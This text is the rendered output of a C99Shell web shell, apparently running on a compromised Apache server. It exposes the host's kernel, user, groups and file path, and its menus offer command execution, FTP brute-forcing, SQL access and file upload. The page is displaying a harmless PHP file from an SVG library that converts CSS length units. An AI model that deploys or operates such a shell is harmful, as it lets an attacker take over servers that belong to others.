!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/phenx/php-svg-lib/src/Svg/   drwxr-xr-x
Free 29.1 GB of 117.98 GB (24.67%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CssLength.php (3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Svg;

class 
CssLength
{
    
/**
     * Array of valid css length units.
     * Should be pre-sorted by unit text length so no earlier length can be
     * contained within a latter (eg. 'in' within 'vmin').
     *
     * @var string[]
     */
    
protected static $units = [
        
'vmax',
        
'vmin',
        
'rem',
        
'px',
        
'pt',
        
'cm',
        
'mm',
        
'in',
        
'pc',
        
'em',
        
'ex',
        
'ch',
        
'vw',
        
'vh',
        
'%',
        
'q',
    ];

    
/**
     * A list of units that are inch-relative, and their unit division within an inch.
     *
     * @var array<string, float>
     */
    
protected static $inchDivisions = [
        
'in' => 1,
        
'cm' => 2.54,
        
'mm' => 25.4,
        
'q' => 101.6,
        
'pc' => 6,
        
'pt' => 72,
    ];

    
/**
     * The CSS length unit indicator.
     * Will be lower-case and one of the units listed in the '$units' array or empty.
     *
     * @var string
     */
    
protected $unit '';

    
/**
     * The numeric value of the given length.
     *
     * @var float
     */
    
protected $value 0;

    
/**
     * The original unparsed length provided.
     *
     * @var string
     */
    
protected $unparsed;

    public function 
__construct(string $length)
    {
        
$this->unparsed $length;
        
$this->parseLengthComponents($length);
    }

    
/**
     * Parse out the unit and value components from the given string length.
     */
    
protected function parseLengthComponents(string $length): void
    
{
        
$length strtolower($length);

        foreach (
self::$units as $unit) {
            
$pos strpos($length$unit);
            if (
$pos) {
                
$this->value floatval(substr($length0$pos));
                
$this->unit $unit;
                return;
            }
        }

        
$this->unit '';
        
$this->value floatval($length);
    }

    
/**
     * Get the unit type of this css length.
     * Units are standardised to be lower-cased.
     *
     * @return string
     */
    
public function getUnit(): string
    
{
        return 
$this->unit;
    }

    
/**
     * Get this CSS length in the equivalent pixel count size.
     *
     * @param float $referenceSize
     * @param float $dpi
     *
     * @return float
     */
    
public function toPixels(float $referenceSize 11.0float $dpi 96.0): float
    
{
        
// Standard relative units
        
if (in_array($this->unit, ['em''rem''ex''ch'])) {
            return 
$this->value $referenceSize;
        }

        
// Percentage relative units
        
if (in_array($this->unit, ['%''vw''vh''vmin''vmax'])) {
            return 
$this->value * ($referenceSize 100);
        }

        
// Inch relative units
        
if (in_array($this->unitarray_keys(static::$inchDivisions))) {
            
$inchValue $this->value $dpi;
            
$division = static::$inchDivisions[$this->unit];
            return 
$inchValue $division;
        }

        return 
$this->value;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--